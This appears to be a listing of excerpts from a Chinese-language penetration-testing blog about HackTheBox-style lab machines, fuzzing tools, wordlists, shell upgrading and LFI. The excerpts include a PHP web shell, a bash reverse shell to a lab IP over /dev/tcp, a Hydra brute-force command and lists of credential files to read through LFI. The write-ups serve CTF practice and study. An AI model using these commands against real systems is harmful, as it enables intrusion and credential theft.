Fuzzer 我最常用的就是 ffuf 了，不過還有很多選擇。 MaccGenics Notes - Fuzzing tools (tooling)： wenum gobuster feroxbuster … 心得 記得加上 Cookie！ 不要懷疑，真的會忘記，如果沒有掃到東西，或是掃到一堆 302，務必務必務必先檢查有沒有加上 Cookie … 副檔名 PHP: -e .php,.txt,.bak,.old,.zip IIS: -e .aspx,.asp,.config Java: -e .jsp,.do,.a
打滲透必學的技能之一。你有幾個方法可以叫出 bash： python3 -c 'import pty; pty.spawn("/bin/bash")' script /dev/null -c bash 接著： svc@busqueda:/var/www/app$ python3 -c 'import pty; pty.spawn("/bin/bash")' svc@busqueda:/var/www/app$ ^Z [1]+ Stopped nc -lvnp 443 $ stty raw -echo &&a...
簡單整理一下 SecList 的辭典。
網路版本的芝麻開門？
SSH tunneling over SOCKS proxy $ nmap -sT -p22,3306 10.129.202.64 PORT STATE SERVICE 22/tcp open ssh 3306/tcp closed mysql MySQL 並沒有對外開放，若要使用必須透過 port forwarding，可以透過 SSH 將 MySQL 轉到 port 1234 上： abb00717@ABB00717:~ $ ssh -L 1234:localhost:3306 ubuntu@10.129.20
通常我都會配合 ffuf 和指定辭典使用： SecLists/Fuzzing/LFI/LFI-Jhaddix.txt：我會最優先使用的 PayloadsAllTheThings/Directory\ Traversal/Intruder/dotdotpwn.txt：測的東西比 Jhaddix 多很多，但很容易誤報。 若確認找到 File Inclusion，以下是一些不錯的選擇： /etc/passwd /etc/shadow/ /etc/hostname /etc/hosts /etc/crontab /proc
Nineveh 在 Nineveh 靶機中，我使用 Hydra 配合 xato-net-10-million-passwords-10000.txt 辭典成功爆破出 nineveh.htb/db 的 password123： $ hydra -l admin -P /usr/share/SecLists/Passwords/Common-Credentials/xato-net-10-million-passwords-10000.txt -s 443 -S nineveh.htb https-post-form
Nineveh 在 Nineveh 這台靶機中，我們利用 Hydra 爆破了 nineveh.htb/db 的登入頁面，在裡面我們可以任意修改資料庫： 資料庫被存在 /var/tmp/，恰好在另外一個網頁 nineveh.htb/department/ 找到了 File Inclusion， 通常會直接用簡單的 <?php system($_GET['cmd']); ?> 配合簡單的 Reverse Shell： bash -c 'sh -i >& /dev/tcp/10.10.17.56/6061 0>&1' 要
Nineveh 在 Nineveh 靶機中的 nineveh.htb/department 登入是這麼寫的： session_start(); if (isset($_SESSION['username'])) { header('Location: manage.php'); die(); } $USER = 'admin'; $PASS = '1q2w3e4r5t'; if (isset($_POST['username']) && isset($_POST['pa...
能夠在檔案裡面藏東西的酷技術。
基礎的 GraphQL challenge.
LFI2RCE via PHP Filters 的小故事以及攻擊講解。
在 forum.collect.htb 的論壇中我們找到一段代理紀錄，重放 token 就能把自己的 session 提權成 admin。進到 /admin 後發現註冊請求是用 XML 傳送的，發現並利用 OOB XXE 讀取檔案，獲得 developers.collect.htb 的 Basic Auth 密碼與 Redis 密碼，再直接改寫 Redis 上的 PHP session 繞過登入表單。登入後利用 LFI2RCE 取得 www-data 的 shell，透過 victor 名下的 php-fpm 執行
非常不負責任的 Redis 教學。
在 BroScience 網站中我們發現 img.php 存在路徑穿越，透過原始碼發現啟用碼可以暴力破解，啟用帳號後再利用反序列化漏洞取得 www-data 的 shell。接著從資料庫撈出密碼雜湊，破解 bill 的密碼並 SSH 登入。至於 root， 我們發現某個 root cron 執行腳本存在 Command Injection，生成惡意憑證以後即可取得 root shell。